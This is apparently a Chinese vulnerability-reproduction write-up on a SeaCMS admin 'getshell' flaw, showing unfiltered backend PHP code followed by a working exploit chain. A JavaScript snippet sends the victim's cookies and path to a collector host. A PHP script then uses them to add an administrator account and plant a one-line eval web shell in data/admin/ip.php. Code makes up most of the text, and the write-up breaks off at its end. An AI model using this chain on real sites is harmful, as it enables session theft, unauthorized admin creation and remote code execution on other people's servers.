seacms getshell

一、漏洞简介

海洋cms是一款简单的php内容管理系统,主要用于视频网站,采用PHP+MYSQL架构,未使用框架

二、漏洞影响

三、复现过程

后台代码如下

<?php

header('Content-Type:text/html;charset=utf-8');

require_once(dirname(__FILE__)."/config.php");

CheckPurview();

if($action=="set")

{

    $v= $_POST['v'];

    $ip = $_POST['ip'];

    $open=fopen("../data/admin/ip.php","w" );

    $str='<?php ';

    $str.='$v = "';

    $str.="$v";

    $str.='"; ';

    $str.='$ip = "';

    $str.="$ip";

    $str.='"; ';

    $str.=" ?>";

    fwrite($open,$str);

    fclose($open);

    ShowMsg("成功保存设置!","admin_ip.php");

    exit;

}

?>

这里根本没有经过过滤,直接将变量写进去,可以写一个脚本利用

代码如下

# test.js

var img = new Image();

img.src=  "http://127.0.0.1/test.php?x=" + document.cookie + "&p=" + location.pathname;

# test.php

<?php

    function Requests($url, $data, $cookie = '', $type = 1){

        $ch = curl_init();

        $params[CURLOPT_URL] = $url;

           $params[CURLOPT_HEADER] = FALSE;

        $params[CURLOPT_SSL_VERIFYPEER] = false;

        $params[CURLOPT_SSL_VERIFYHOST] = false;

        $params[CURLOPT_RETURNTRANSFER] = true;

        if ($type === 1) {

            $params[CURLOPT_POST] = true;

            $params[CURLOPT_POSTFIELDS] = $data;

        }

        $params[CURLOPT_COOKIE] = $cookie;

        curl_setopt_array($ch, $params);

        $output = curl_exec($ch);

        file_put_contents('log.txt', $output, FILE_APPEND);

        curl_close($ch);

    }

    $C = $_GET['x'];

    $P = $_GET['p'];

    $P = substr($P, 0, strlen($P)-21);

    file_put_contents('c.txt', $C);

    file_put_contents('p.txt', $P);

    $url_1 = 'http://192.168.113.128'.$P.'admin_manager.php?action=add';

    $url_2 = 'http://192.168.113.128'.$P.'admin_ip.php?action=set';

    $data_1 = 'username=test&pwd=test&pwd2=test&groupid=1';

    $data_2 = 'v=0&ip=+";@eval($_POST[qwer]);"';

    Requests($url_1, $data_1, $C);

    Requests($url_2, $data_2, $C);

这两个脚本会将cookie和后台路径保存在文件中,并且会向后台发送数据,添加一个系统管理员,同时会在系统中写入一个一句话木马,需要注意的是修改域名为测试域名。测试如下

代码已经写进了后

管理员添加成功

\<